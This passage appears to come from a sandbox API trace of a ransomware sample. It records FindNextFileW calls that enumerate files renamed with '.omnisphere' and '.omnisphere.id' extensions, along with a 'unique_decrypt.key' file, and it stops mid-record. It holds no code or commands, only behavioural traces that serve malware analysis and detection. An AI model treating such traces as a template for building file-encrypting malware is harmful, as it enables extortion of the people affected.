cAlternateFileName="QTEPG5~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc560d5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cc560d5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc560d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="qtePg5pQ8.lnk.omnisphere.id", cAlternateFileName="QTEPG5~1.ID")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8d8f0a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f8d8f0a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc7c324, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x950, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QXLwmOCK.lnk.omnisphere", cAlternateFileName="QXLWMO~1.OMN")) returned 1 [0128.871] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc7c324, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cc7c324, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cc7c324, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QXLwmOCK.lnk.omnisphere.id", cAlternateFileName="QXLWMO~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d9f16d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22d9f16d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cca2554, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8ed, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QYhwJeuLq0 Z0.lnk.omnisphere", cAlternateFileName="QYHWJE~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cca2554, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cca2554, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cca2554, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="QYhwJeuLq0 Z0.lnk.omnisphere.id", cAlternateFileName="QYHWJE~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2f5343, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e2f5343, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccc8843, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="R0sP.lnk.omnisphere", cAlternateFileName="R0SPLN~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ccc8843, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ccc8843, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccc8843, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="R0sP.lnk.omnisphere.id", cAlternateFileName="R0SPLN~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213e6107, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x213e6107, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccc8843, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x873, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="R7Xo1pIDUa2Xzbh.lnk.omnisphere", cAlternateFileName="R7XO1P~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ccc8843, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ccc8843, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccc8843, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="R7Xo1pIDUa2Xzbh.lnk.omnisphere.id", cAlternateFileName="R7XO1P~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4bef61, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e4bef61, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccee8ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="RMIrT LtW_D-mpk_75FE.lnk.omnisphere", cAlternateFileName="RMIRTL~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ccee8ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ccee8ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ccee8ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="RMIrT LtW_D-mpk_75FE.lnk.omnisphere.id", cAlternateFileName="RMIRTL~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb82ca90, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x229bf48d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd3ae26, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Roaming.lnk.omnisphere", cAlternateFileName="ROAMIN~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd3ae26, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cd3ae26, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd3ae26, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Roaming.lnk.omnisphere.id", cAlternateFileName="ROAMIN~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x217c5df7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x217c5df7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd6112e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb33, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="s1tMJCAoYeCFkDG8.lnk.omnisphere", cAlternateFileName="S1TMJC~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd6112e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cd6112e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd6112e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="s1tMJCAoYeCFkDG8.lnk.omnisphere.id", cAlternateFileName="S1TMJC~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f5f5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21f5f5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd8731b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9a7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="SZGBZopZnihyK4aAT.lnk.omnisphere", cAlternateFileName="SZGBZO~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd8731b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cd8731b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cd8731b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="SZGBZopZnihyK4aAT.lnk.omnisphere.id", cAlternateFileName="SZGBZO~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209518bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x209518bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdad714, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x83d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="tx_oE.lnk.omnisphere", cAlternateFileName="TX_OEL~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdad714, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cdad714, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdad714, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="tx_oE.lnk.omnisphere.id", cAlternateFileName="TX_OEL~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d68482, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2309a1b9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdd3857, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x947, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="U8gDeJ.lnk.omnisphere", cAlternateFileName="U8GDEJ~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdd3857, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cdd3857, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdd3857, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="U8gDeJ.lnk.omnisphere.id", cAlternateFileName="U8GDEJ~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2052580a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2052580a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdf9aaf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x969, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="udic.lnk.omnisphere", cAlternateFileName="UDICLN~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdf9aaf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cdf9aaf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cdf9aaf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="udic.lnk.omnisphere.id", cAlternateFileName="UDICLN~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e25c9d4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e25c9d4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ce1fcc7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8f7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ueEnk73BIU41LGf.lnk.omnisphere", cAlternateFileName="UEENK7~1.OMN")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce1fcc7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ce1fcc7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ce1fcc7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ueEnk73BIU41LGf.lnk.omnisphere.id", cAlternateFileName="UEENK7~1.ID")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278c63a5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ce9224c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278c63a5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278c63a5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ce6c12b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key.omnisphere", cAlternateFileName="UNIQUE~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce6c12b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ce6c12b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ce6c12b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key.omnisphere.id", cAlternateFileName="UNIQUE~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2304dead, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2304dead, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ceb86d4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="uuXUBt8x.lnk.omnisphere", cAlternateFileName="UUXUBT~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ceb86d4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ceb86d4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ceb86d4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="uuXUBt8x.lnk.omnisphere.id", cAlternateFileName="UUXUBT~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20099e64, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20099e64, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cee009c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa19, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="V5Z9MVm.lnk.omnisphere", cAlternateFileName="V5Z9MV~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cee009c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cee009c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cee009c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="V5Z9MVm.lnk.omnisphere.id", cAlternateFileName="V5Z9MV~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa428bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22ce06ed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf04a19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x809, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Videos.lnk.omnisphere", cAlternateFileName="VIDEOS~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf04a19, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cf04a19, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf04a19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Videos.lnk.omnisphere.id", cAlternateFileName="VIDEOS~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e80639c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e80639c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf04a19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="vO76JtHD.flv.lnk.omnisphere", cAlternateFileName="VO76JT~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf04a19, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cf04a19, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf04a19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="vO76JtHD.flv.lnk.omnisphere.id", cAlternateFileName="VO76JT~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21243466, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21243466, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf50e79, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7fd, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="WjdFIZ.lnk.omnisphere", cAlternateFileName="WJDFIZ~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf50e79, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cf50e79, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf50e79, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="WjdFIZ.lnk.omnisphere.id", cAlternateFileName="WJDFIZ~1.ID")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209ea3b1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x209ea3b1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf77074, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9c8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="WkZQJwjjVnx.lnk.omnisphere", cAlternateFileName="WKZQJW~1.OMN")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf77074, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cf77074, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf77074, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="WkZQJwjjVnx.lnk.omnisphere.id", cAlternateFileName="WKZQJW~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f274747, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f274747, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf9d2d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="wuPx.lnk.omnisphere", cAlternateFileName="WUPXLN~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf9d2d3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cf9d2d3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cf9d2d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="wuPx.lnk.omnisphere.id", cAlternateFileName="WUPXLN~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20204770, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20204770, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cfc356e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xaca, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere", cAlternateFileName="WW91YW~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfc356e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cfc356e, ftLastAccessTime.dwHighDateTime=0x1d5826d, 